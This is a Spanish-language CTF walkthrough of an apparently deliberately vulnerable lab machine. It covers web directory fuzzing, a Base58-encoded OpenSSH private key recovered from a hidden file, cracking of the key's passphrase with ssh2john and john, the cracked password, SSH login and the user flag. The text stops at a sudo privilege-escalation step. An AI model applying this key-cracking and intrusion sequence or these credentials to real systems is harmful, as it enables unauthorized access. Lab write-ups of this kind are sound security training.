htm_hl.php           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
htm_hl.txt           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 19ms]
html-companyprofile.php [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
html-companyprofile     [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
html-companyprofile.html [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 14ms]
html-companyprofile.txt [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 15ms]
html_node            [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 0ms]
html_node.html       [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
html_node.php        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
html_node.txt        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
httpdocs.html        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
httpdocs.php         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
httpdocs.txt         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 6ms]
httpdocs             [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 11ms]
htmldoc              [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
htmldoc.php          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
htmldoc.html         [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
htmldoc.txt          [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 24ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
```

```
mysecret.txt         [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 22ms]
```

```
Por lo que vemos nos saca un ``.txt`` mediante ``URL``, por lo que entraremos en
el...
```

URL = http://<IP>/~secret/.mysecret.txt

```
Nos mostrara el siguiente codigo:
```

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
sbF2YZEKzNYtckW5RrFa5zDgKm2gSRN8gHz3WqS

```
Utilizaremos una pagina web especial para identificar que tipo de codifcacion tiene y
es muy potente...

URL = https://gchq.github.io/CyberChef/

Descubrimos que es ``Base 58`` por lo que lo decodificamos y veriamos lo siguiente...
```

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
PBYANne4oz3usGAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDBzHjzJcvk
9GXiytplgT9z/mP91NqOU9QoAwop5JNxhEfm/j5KQmdj/JB7sQ1hBotONvqaAdmsK+OYL9
H6NSb0jMbMc4soFrBinoLEkx894B/PqUTODesMEV/aK22UKegdwlJ9Arf+1Y48V86gkzS6
xzoKn/ExVkApsdimIRvGhsv4ZMmMZEkTIoTEGz7raD7QHDEXiusWl0hkh33rQZCrFsZFT7
J0wKgLrX2pmoMQC6o42OQJaNLBzTxCY6jU2BDQECoVuRPL7eJa0/nRfCaOrIzPfZ/NNYgu
/Dlf1CmbXEsCVmlD71cbPqwfWKGf3hWeEr0WdQhEuTf5OyDICwUbg0dLiKz4kcskYcDzH0
ZnaDsmjoYv2uLVLi19jrfnp/tVoLbKm39ImmV6Jubj6JmpHXewewKiv6z1nNE8mkHMpY5I
he0cLdyv316bFI8O+3y5m3gPIhUUk78C5n0VUOPSQMsx56d+B9H2bFiI2lo18mTFawa0pf
XdcBVXZkouX3nlZB1/Xoip71LH3kPI7U7fPsz5EyFIPWIaENsRmznbtY9ajQhbjHAjFClA
hzXJi4LGZ6mjaGEil+9g4U7pjtEAqYv1+3x8F+zuiZsVdMr/66Ma4e6iwPLqmtzt3UiFGb
4Ie1xaWQf7UnloKUyjLvMwBbb3gRYakBbQApoONhGoYQAAB1BkuFFctACNrlDxN180vczq
mXXs+ofdFSDieiNhKCLdSqFDsSALaXkLX8DFDpFY236qQE1poC+LJsPHJYSpZOr0cGjtWp
MkMcBnzD9uynCjhZ9ijaPY/vMY7mtHZNCY8SeoWAxYXToKy2cu/+pVyGQ76KYt3J0AT7wA
2OR3aMMk0o1LoozuyvOrB3cXMHh75zBfgQyAeeD7LyYG/b7z6zGvVxZca/g572CXxXSXlb
QOw/AR8ArhAP4SJRNkFoV2YRCe38WhQEp4R6k+34tK+kUoEaVAbwU+IchYyM8ZarSvHVpE
vFUPiANSHCZ/b+pdKQtBzTk5/VH/Jk3QPcH69EJyx8/gRE/glQY6z6nC6uoG4AkIl+gOxZ
0hWJJv0R1Sgrc91mBVcYwmuUPFRB5YFMHDWbYmZ0IvcZtUxRsSk2/uWDWZcW4tDskEVPft
rqE36ftm9eJ/nWDsZoNxZbjo4cF44PTF0WU6U0UsJW6mDclDko6XSjCK4tk8vr4qQB8OLB
QMbbCOEVOOOm9ru89e1a+FCKhEPP6LfwoBGCZMkqdOqUmastvCeUmht6a1z6nXTizommZy
x+ltg9c9xfeO8tg1xasCel1BluIhUKwGDkLCeIEsD1HYDBXb+HjmHfwzRipn/tLuNPLNjG
nx9LpVd7M72Fjk6lly8KUGL7z95HAtwmSgqIRlN+M5iKlB5CVafq0z59VB8vb9oMUGkCC5
VQRfKlzvKnPk0Ae9QyPUzADy+gCuQ2HmSkJTxM6KxoZUpDCfvn08Txt0dn7CnTrFPGIcTO
cNi2xzGu3wC7jpZvkncZN+qRB0ucd6vfJ04mcT03U5oq++uyXx8t6EKESa4LXccPGNhpfh
nEcgvi6QBMBgQ1Ph0JSnUB7jjrkjqC1q8qRNuEcWHyHgtc75JwEo5ReLdV/hZBWPD8Zefm
8UytFDSagEB40Ej9jbD5GoHMPBx8VJOLhQ+4/xuaairC7s9OcX4WDZeX3E0FjP9kq3QEYH
zcixzXCpk5KnVmxPul7vNieQ2gqBjtR9BA3PqCXPeIH0OWXYE+LRnG35W6meqqQBw8gSPw

```
n49YlYW3wxv1G3qxqaaoG23HT3dxKcssp+XqmSALaJIzYlpnH5Cmao4eBQ4jv7qxKRhspl
AbbL2740eXtrhk3AIWiaw1h0DRXrm2GkvbvAEewx3sXEtPnMG4YVyVAFfgI37MUDrcLO93
oVb4p/rHHqqPNMNwM1ns+adF7REjzFwr4/trZq0XFkrpCe5fBYH58YyfO/g8up3DMxcSSI
63RqSbk60Z3iYiwB8iQgortZm0UsQbzLj9i1yiKQ6OekRQaEGxuiIUA1SvZoQO9NnTo0SV
y7mHzzG17nK4lMJXqTxl08q26OzvdqevMX9b3GABVaH7fsYxoXF7eDsRSx83pjrcSd+t0+
t/YYhQ/r2z30YfqwLas7ltoJotTcmPqII28JpX/nlpkEMcuXoLDzLvCZORo7AYd8JQrtg2
Ays8pHGynylFMDTn13gPJTYJhLDO4H9+7dZy825mkfKnYhPnioKUFgqJK2yswQaRPLakHU
yviNXqtxyqKc5qYQMmlF1M+fSjExEYfXbIcBhZ7gXYwalGX7uX8vk8zO5dh9W9SbO4LxlI
8nSvezGJJWBGXZAZSiLkCVp08PeKxmKN2S1TzxqoW7VOnI3jBvKD3IpQXSsbTgz5WB07BU
mUbxCXl1NYzXHPEAP95Ik8cMB8MOyFcElTD8BXJRBX2I6zHOh+4Qa4+oVk9ZluLBxeu22r
VgG7l5THcjO7L4YubiXuE2P7u77obWUfeltC8wQ0jArWi26x/IUt/FP8Nq964pD7m/dPHQ
E8/oh4V1NTGWrDsK3AbLk/MrgROSg7Ic4BS/8IwRVuC+d2w1Pq+X+zMkblEpD49IuuIazJ
BHk3s6SyWUhJfD6u4C3N8zC3Jebl6ixeVM2vEJWZ2Vhcy+31qP80O/+Kk9NUWalsz+6Kt2
yueBXN1LLFJNRVMvVO823rzVVOY2yXw8AVZKOqDRzgvBk1AHnS7r3lfHWEh5RyNhiEIKZ+
wDSuOKenqc71GfvgmVOUypYTtoI527fiF/9rS3MQH2Z3l+qWMw5A1PU2BCkMso060OIE9P
5KfF3atxbiAVii6oKfBnRhqM2s4SpWDZd8xPafktBPMgN97TzLWM6pi0NgS+fJtJPpDRL8
vTGvFCHHVi4SgTB64+HTAH53uQC5qizj5t38in3LCWtPExGV3eiKbxuMxtDGwwSLT/DKcZ
Qb50sQsJUxKkuMyfvDQC9wyhYnH0/4m9ahgaTwzQFfyf7DbTM0+sXKrlTYdMYGNZitKeqB
1bsU2HpDgh3HuudIVbtXG74nZaLPTevSrZKSAOit+Qz6M2ZAuJJ5s7UElqrLliR2FAN+gB
ECm2RqzB3Huj8mM39RitRGtIhejpsWrDkbSzVHMhTEz4tIwHgKk01BTD34ryeel/4ORlsC
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
```

~~~
Si intentamos conectarnos sin contraseña no nos dejara, por lo que intentaremos
crackear la contraseña para conectarnos...

```shell
chmod 600 id_rsa

ssh2john id_rsa > clave
~~~

Info:

```
id_rsa:$sshng$2$16$f2df77361693c16003677b8a33deeb06$2486$6f70656e7373682d6b65792d7631
000000000a6165733235362d6362630000000662637279707400000018000000010f2df77361693c160036
77b8a33deeb0600000010000000001000002170000000077373682d7273610000000301000100000020100c1
cc78f325cbe4f465e2cada65813f73fe63fdd4da8e53d428030a29e493718447e6fe3e4a426763fc907bb
10d61068b4e36fa9a01d9ac2be3982fd1fa3526f48cc6cc738b2816b0629e82c4931f3de01fcfa944ce0d
eb0c115fda2b6d9429e81dc2527d02b7fed58e3c57cea09334bac73a0a9ff131564029b1d8a6211bc686c
bf864c98c6449132284c41b3eeb683ed01c31178aeb16974864877deb4190ab16c6454fb274c0a80bad7d
a99a83100baa38d8e40968d2c1cd3c4263a8d4d810d0102a15b913cbede25ad3f9d17c268eac8ccf7d9fc
d35882efc395fd4299b5c4b02566943ef571b3eac1f58a19fde159e12bd16750844b937f93b20c80b051b
83474b88acf891cb2461c0f31f4667683b268e862fdae2d52e2d7d8eb7e7a7fb55a0b6ca9b7f489a657a2
6e6e3e899a91d77b07b02a2bfacf59cd13c9a41cca58e4885ed1c2ddcafdf5e9b148f0efb7cb99b780f22
151493bf02e67d1550e3d240cb31e7a77e07d1f66c5888da5a35f264c56b06b4a5f5dd701557664a2e5f7
9e5641d7f5e88a9ef52c7de43c8ed4edf3eccf91321483d621a10db119b39dbb58f5a8d085b8c70231429
408735c98b82c667a9a368612297ef60e14ee98ed100a98bf5fb7c7c17ecee899b1574caffeba31ae1eea
2c0f2ea9adceddd488519be087b5c5a5907fb527968294ca32ef33005b6f781161a9016d0029a0e3611a8
610000075064b8515cb4008dae50f1375f34bdccea9975ecfa87dd1520e27a23612822dd4aa143b1200b6
9790b5fc0c50e9158db7eaa404d69a02f8b26c3c72584a964eaf47068ed5a932431c067cc3f6eca70a385
9f628da3d8fef318ee6b4764d098f127a8580c585d3a0acb672effea55c8643be8a62ddc9d004fbc00d8e
47768c324d28d4ba28ceecaf3ab07771730787be7305f810c8079e0fb2f2606fdbef3eb31af57165c6bf8
```

```
39ef6097c5749795b40ec3f011f00ae100fe1225136416857661109edfc5a1404a7847a93edf8b4afa452
811a5406f053e21c858c8cf196ab4af1d5a44bc550f8803521c267f6fea5d290b41cd3939fd51ff264dd0
3dc1faf44272c7cfe0444fe095063acfa9c2eaea06e0090897e80ec59d2158926fd11d5282b73dd660557
18c26b943c5441e5814c1c359b62667422f719b54c51b12936fee583599716e2d0ec90454f7edaea137e9
fb66f5e27f9d60ec66837165b8e8e1c178e0f4c5d1653a53452c256ea60dc943928e974a308ae2d93cbeb
e2a401f0e2c140c6db08e11538e3a6f6bbbcf5ed5af8508a8443cfe8b7f0a0118264c92a74ea9499ab2db
c27949a1b7a6b5cfa9d74e2ce89a6672c7e96d83d73dc5f78ef2d835c5ab027a5d4196e22150ac060e42c
278812c0f51d80c15dbf878e61dfc33462a67fed2ee34f2cd8c69f1f4ba5577b33bd858e4ea5972f0a506
2fbcfde4702dc264a0a8846537e33988a941e4255a7ead33e7d541f2f6fda0c5069020b955045f2a5cef2
a73e4d007bd4323d4cc00f2fa00ae4361e64a4253c4ce8ac68654a4309fbe7d3c4f1b74767ec29d3ac53c
621c4ce70d8b6c731aedf00bb8e966f92771937ea91074b9c77abdf274e26713d37539a2afbebb25f1f2d
e8428449ae0b5dc70f18d8697e19c4720be2e9004c0604353e1d094a7501ee38eb923a82d6af2a44db847
161f21e0b5cef9270128e5178b755fe164158f0fc65e7e6f14cad14349a804078d048fd8db0f91a81cc3c
1c7c54938b850fb8ff1b9a6a2ac2eecf4e717e160d9797dc4d058cff64ab7404607cdc8b1cd70a99392a7
566c4fba5eef362790da0a818ed47d040dcfa825cf7881f43965d813e2d19c6df95ba99eaaa401c3c8123
f09f8f589585b7c31bf51b7ab1a9a6a81b6dc74f777129cb2ca7e5ea99200b689233625a671f90a66a8e1
e050e23bfbab129186ca6501b6cbdbbe34797b6b864dc021689ac358740d15eb9b61a4bdbbc011ec31dec
5c4b4f9cc1b8615c950057e0237ecc503adc2cef77a156f8a7fac71eaa8f34c3703359ecf9a745ed1123c
c5c2be3fb6b66ad17164ae909ee5f0581f9f18c9f3bf83cba9dc3331712488eb746a49b93ad19de2622c0
1f22420a2bb599b452c41bccb8fd8b5ca2290e8e7a44506841b1ba22140354af66840ef4d9d3a34495cbb
987cf31b5ee72b894c257a93c65d3cab6e8ecef76a7af317f5bdc600155a1fb7ec631a1717b783b114b1f
37a63adc49dfadd3eb7f618850febdb3df461fab02dab3b96da09a2d4dc98fa88236f09a57fe796990431
cb97a0b0f32ef099391a3b01877c250aed836032b3ca471b29f29453034e7d7780f25360984b0cee07f7e
edd672f36e6691f2a76213e78a8294160a892b6cacc106913cb6a41d4caf88d5eab71caa29ce6a6103269
45d4cf9f4a31311187d76c8701859ee05d8c1a9465fbb97f2f93cccee5d87d5bd49b3b82f1948f274af7b
31892560465d90194a22e4095a74f0f78ac6628dd92d53cf1aa85bb54e9c8de306f283dc8a505d2b1b4e0
cf9581d3b0549946f1097975358cd71cf1003fde4893c70c07c30ec857049530fc057251057d88eb31ce8
7ee106b8fa8564f5996e2c1c5ebb6dab5601bb9794c77233bb2f862e6e25ee1363fbbbbee86d651f7a5b4
2f304348c0ad68b6eb1fc852dfc53fc36af7ae290fb9bf74f1d013cfe8878575353196ac3b0adc06cb93f
32b81139283b21ce014bff08c1156e0be776c353eaf97fb33246e51290f8f48bae21acc9047937b3a4b25
948497c3eaee02dcdf330b725e6e5ea2c5e54cdaf109599d9585ccbedf5a8ff343bff8a93d35459a96ccf
ee8ab76cae7815cdd4b2c524d45532f54ef36debcd554e636c97c3c01564a3aa0d1ce0bc19350079d2eeb
de57c758487947236188420a67ec034ae38a7a7a9cef519fbe0995394ca9613b68239dbb7e217ff6b4b73
101f667797ea96330e40d4f53604290cb28d3ad0e204f4fe4a7c5ddab716e20158a2ea829f067461a8cda
ce12a560d977cc4f69f92d04f32037ded3ccb58cea98b43604be7c9b493e90d12fcbd31af1421c7562e12
81307ae3e1d3007e77b900b9aa2ce3e6ddfc8a7dcb096b4f131195dde88a6f1b8cc6d0c6c3048b4ff0ca7
1941be74b10b095312a4b8cc9fbc3402f70ca16271f4ff89bd6a181a4f0cd015fc9fec36d3334fac5caae
54d874c6063598ad29ea81d5bb14d87a43821dc7bae74855bb571bbe2765a2cf4debd2ad929200e8adf90
cfa336640b89279b3b50496aacb96247614037e8011029b646acc1dc7ba3f26337f518ad446b4885e8e9b
16ac391b4b35473214c4cf8b48c0780a934d414c3df8af279e97fe0e465b0289427ae9699150df44a1596
4782cd02708af2$16$614

john --wordlist=/usr/share/wordlists/fasttrack.txt clave
```

Y utilizamos el diccionario que menciono en la pagina web anteriormente...

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@55w0rd!        (id_rsa)
1g 0:00:00:01 DONE (2024-05-28 10:18) 0.5464g/s 34.97p/s 34.97c/s 34.97C/s
```

```
Winter2015..password2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

> Credentials

```
User = icex64
Password = P@55w0rd!

ssh -i id_rsa icex64@<IP>
```

Por lo que ya estariamos dentro, por lo que leeremos la flag...

> user.txt (flag1)

```
    ...,    ,...    ..,.   .,,  *&@@@@@@@@@@@&/.   ,,,.   .,..    ...,    ...,
    ,,,.    .,,,    *&@@%%%%%%%%%%%%%%%%%%%%%%%%%%%&@,.   ..,,    ,,,,    ,,,.
..,.    ,..,  (@&#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%,.  ..,,    ,...    ..
    .... .@&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ....    ....    ,...
    .,#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ .,..    ,.,.    ...,
.,,,&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@#@.,   .,.,    .,..    .,
...@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&@####@*.    ..,,    ....    ,.
   @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%#######@% .,.,    .,.,    .,.,
..,,@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@%#######@@,    ..,.    ,..,    ..
.,,, @@@@@@@@&%%%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@%%#####@@,    .,,,    ,,.,    .,
    ..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%###@@ .,..    ...,    ....
...,   .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%#&@.    ...,    ...,    ..
....   #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%@.    ....    ....    ..
    .,.,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%#@*.,.,     .,.,    ..@@@@
..,.    .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%#@@    ..,.    ,..*@&&@@.
.,,.    ,.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%@@    .,,.    .@&&&@( ,,
    ,.,.  .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%@@%%&@@@, ,,,@&@@@.,,,
....    ...#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%%%&%,@%%%%%%#@@@@@%..     ..
...,    ...,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&@,*,,@%%%%%@@@&@%%@..     ..
    ,,.,    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/,***,*,@%%%@@&@@@%###@ ,,.,
    .,. @@&&&@@,,/@@@@@@@@@@@@@@@@@@@@@@@@@#,,,,,,,,,*,,@%%%@&&@@%%%%##&* ,...
.,,, @@&@@&@&@@%,*,*,*,*,***,*,*,***,*,*,*,*,*,*,**,&@%%&@@@&@%%%%%%%@/.,     .,
  /@@&&&&&&&&&&@@*,,,,,,,,,,,,,,,,,,,,,,*,,,**,%@&%%%@&&&@%%%%%%%%%%@(    ,..,
 @&@&@&@&@&@&@&&@@@@@(,*,*,,**,*,*,,,*#&@@&%%%%%%%&@@@@@%%%%%%%%@&..,     .,.,
@@@&&&&&&&&&&&&&&&&@@@&&&@@@@&&@@&&@&&&%&%%%%%%@&&&@&%%%%%%&@,..      ...,    ..
 @&&&@&@&@&@&@&@&@&@&@&@&@&@&@@&&&&&&&&%&%%%&@&&@@%%%#&@%..,      .,.,    .,.,
  @@@@&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&%%&%@&@&@&@@%..   ....    ....    ,..,
.,,, *@@&&&@&@&@&@&@&@&&&&&&&&&&&&&&&&&%&&@@&&@....    ,.,    .,,,    ,,..    .,
    ,,,,    .,%@@@@@@@@@@@@@@@@%,  ...,@@&&@(,,    ,,,.   .,,,    ,,.,    .,,.
    .,.,    .,,,    .,,.   ..,.    ,*@@&&@ ,,,,    ,.,.   .,.,    .,.,    .,.,
...,    ....    ....    ,..    ,..@@@&@#,..    ....    ,..    ...,    ....    ..
    ....    ....    ...    ....@.,%&@..    ....    ...    ....    ....    ....
    ...,    ....    ....   .*/,...&.,,,    ....    ....   .,..    ...,    ...,
.,.,    .,.,    ,,.,    .,../*,,&,,    ,.,,    ,.,,    ..,    .,.,    .,.,    ,,

3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
```

Si hacemos `sudo -l` veremos lo siguiente...

Por lo que podemos ver podemos ejecutar ese archivo `.py` como el usuario `arsene`, si leemos el codigo, veremos lo siguiente...

